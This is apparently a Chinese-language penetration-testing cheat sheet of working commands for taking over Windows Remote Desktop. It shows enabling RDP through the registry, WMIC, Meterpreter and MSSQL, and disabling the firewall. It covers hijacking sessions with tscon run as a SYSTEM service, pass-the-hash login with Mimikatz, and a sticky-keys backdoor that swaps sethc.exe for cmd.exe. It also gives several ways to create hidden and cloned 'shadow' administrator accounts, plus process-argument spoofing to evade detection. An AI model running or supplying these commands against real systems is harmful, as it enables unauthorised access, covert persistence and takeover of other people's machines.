1、查询3389端口方式

  • (1) REG查询3389状态(0:ON、1:OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  • (2) REG查询3389端口(16进制->10进制)
#两个键值均可,值为0xd3d则为3389,否则将其转为10进制则为端口号
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /v  PortNumber
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
  • (3) tasklist、netstat命令查询3389端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "3389"

2、开启3389端口方式

  • (1) MSF命令开启3389端口
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run getgui -e

#注:getgui可用于开启目标机器的3389远程桌面端口、创建管理员账户密码、禁用远程桌面(TCP-In)防火墙入站规则等。
  • (2) REG命令开启3389端口
#开启远程桌面 (0:ON、1:OFF)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#修改windows远程桌面端口3389为3000(一般情况不要改) 
REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 3000 /f
  • (3) WMIC命令开启3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 
# 前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
  • (4) Windows API开启3389端口
原理就是利用RegCreateKeyEx和RegSetValueEx两个API和Microsoft.Win32 RegistryKey类操作系统注册表
  • (5) MSSQL xp_regwrite开启3389端口

应用场景:xp_cmdshell被禁用/删除且无法恢复时,可尝试用xp_regread、xp_regwrite来查询和开启目标机器3389端口,也可以选择用sp_OACreate、Agent Job等其他命令执行方式。

# 1、查询3389开启状态 
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections' 
# 2、查询3389远程桌面端口 
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' 
# 3、开启3389远程桌面端口(0:ON、1:OFF) 
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

注:防火墙配置3389放行

#配置一下防火墙,设置为允许远程桌面连接,命令:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
#netsh 是 windows 的网络配置命令,advfirewall firewall 意思为防火墙的高级设置,add rule 是添加一条规则
#name 指定规则名称,protocol 指定协议,dir 指定是出站还是入站,localport 指定端口,action 指定动作 allow 允许
#关闭防火墙
netsh firewall set opmode mode=disable

3、RDP劫持或切换用户

  • (1)切换用户
#获取用户对应的会话 ID
query user
#切换会话
tscon 会话id /PASSWORD:要切换的用户密码
如: tscon 2 /PASSWORD:Bunny2021
#在 SYSTEM 权限下直接执行 tscon 会话切换命令, 不需要输入密码
  • (2)劫持用户
#创建服务获取 SYSTEM 权限
sc create rdp binpath= "cmd.exe /k tscon 会话id /dest:会话名称"
sc create rdp binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #修改为目标会话id和当前会话名
sc start rdp

4、登陆RDP方式

  • (1)windows多个远程桌面连接
mstsc /admin
  • (2)linux远程桌面连接
#使用redesktop工具
redesktop 192.168.1.1  //redesktop IP
  • (3)哈希传递登录 RDP
#注册表开启Restricted Admin Mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
#查看是否成功开启 
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
#Mimikatz 进行哈希传递
privilege:\:debugsekurlsa\::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
#注:管理员组有效
  • (4)粘滞键与辅助功能后门
#关闭3389鉴权,设置securitylayer 安全层验证
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
#注:
userauthentication鉴权:
0  指定的网络级用户不需要身份验证就能建立远程桌面连接。这是默认值。
1  指定网络级别的用户身份验证是必需的
securitylayer 安全层验证:
0  就是连接前使用 rdp 协议进行身份验证,rdp 即远程桌面连接,可以简单理解为就是关闭验证。
1  是指在连接前两端协商来进行身份验证,这个是默认值。
2  就是使用 tls 协议来进行
#替换sethc.exe程序
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
  • (5)RDP登陆出错处理(后续遇到后补充)

1、出现身份验证错误,要求的函数不受支持,远程计算机:X.X.X.X,这可能是由于CredSSP加密Oracle修正

#下列方法选择一种即可
1、控制端打开组策略(gpedit.msc),打开计算机配置/管理模板/系统/凭据分配,在右侧列表中找到加密Oracle修正,双击加密Oracle修正,进入设置,选择已启用,将保护级别选择易受攻击
2、控制端设置注册表
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /v AllowEncryptionOracle /t REG_DWORD /d 2
3、被控端关闭3389鉴权
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f


5、创建账户密码

  • (1)cmd创建账户并添加管理员权限
net user            #查看当前所有系统用户
net user test 123456 /add       #添加用户名为test密码为123456的用户
net localgroup administrators test /add #把test用户提升至管理组
#拓展:
1、net不能用时 可以用net1 如net1 user jdq 123456 /add 效果一样,也可以复制net.exe为xxx.exe再执行
2、/add也可以用/ad代替 执行效果一样
3、使用$添加隐藏用户:net user jdq$ 123456 /add
  • (2) Powershell添加管理员用户
#添加test用户,密码123456
New-LocalUser test -Password (ConvertTo-SecureString -String '123456' -AsPlainText -Force)
Add-LocalGroupMember -Group "administrators" -Member "test"
  • (3)使用vbs文件
#vbs脚本,添加test用户,密码123456
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","admin")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/admin",user)
oe.add os&"/admin"

#执行vbs脚本
wscript.exe add.vbs
  • (4)CS argue命令
#argue 进程参数欺骗
#argue [command] [fake arguments]
#argue 命令 假参数 欺骗某个命令参数
#argue [command]
#argue 命令 取消欺骗某个命令参数

argue net saldjfoiwjeofijoisfklasjdlfjasdfiowjefoijwoefjoaisjefojsaefoiwejfowef
run net user test 123456 /add
run net localgroup "administrators" test /add
  • (5)Win API 进行UserAdd
#这个需要一定的代码能力。我直接贴工具
https://github.com/lengjibo/NetUser

#原理分析文章
https://www.anquanke.com/post/id/264890#h3-6
  • (6)Vbscript API 添加管理员用户
#1、API_Shell.Users组件(XP/Win2k3)
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3

#2、ADSI_WinNT对象(XP/Win2k3/Win7/Win2k8/Win8/Win10/2012/2016)
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","test")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/betasec",user)
oe.add os&"/betasec"
  • (7)影子账户的创建(system权限cmd操作,管理员rdp登陆图形操作)
(注:新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$,删除管理员帐户b,隐藏账户bbb$仍然有效)
(克隆帐户a的权限,建立隐藏帐户aaa$,修改帐户a的密码,隐藏帐户aaa$仍然有效)

-# 创建隐藏用户

net user test$ 123456 /add
net localgroup administrators test$ /add


-# 导出用户注册表id信息(注:用QUERY查看无法看到id信息)

reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$ test$.reg                        //隐藏用户的信息
reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator administrator.reg        //管理员的信息


-# 利用type打开导出文件,获得两个用户的id

type test$.reg
type administrator.reg


-# 根据id导出用户的详细信息

reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 000003EA.reg
reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 000001F4.reg


-# 将管理员的f值复制替换到隐藏用户的f值

(注:可以下载至本地修改,或进行追加修改)


-# 删除隐藏用户

net user test$ /del

-# 还原隐藏用户注册表test$.reg,000003EA.reg

regedit /s test$.reg
regedit /s 000003EA.reg

-# 启动账户

net user test$ /active:yes

参考链接

1、RDP安全总结:
https://bewhale.github.io/posts/24991.html#toc-heading-1
2、用户添加:
https://mp.weixin.qq.com/s/UKJUBQFKf1lBctfckmieDg
3、绕过AV进行UserAdd的方法:
https://www.anquanke.com/post/id/264890#h3-5
4、渗透技巧——Windows系统的帐户隐藏:
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F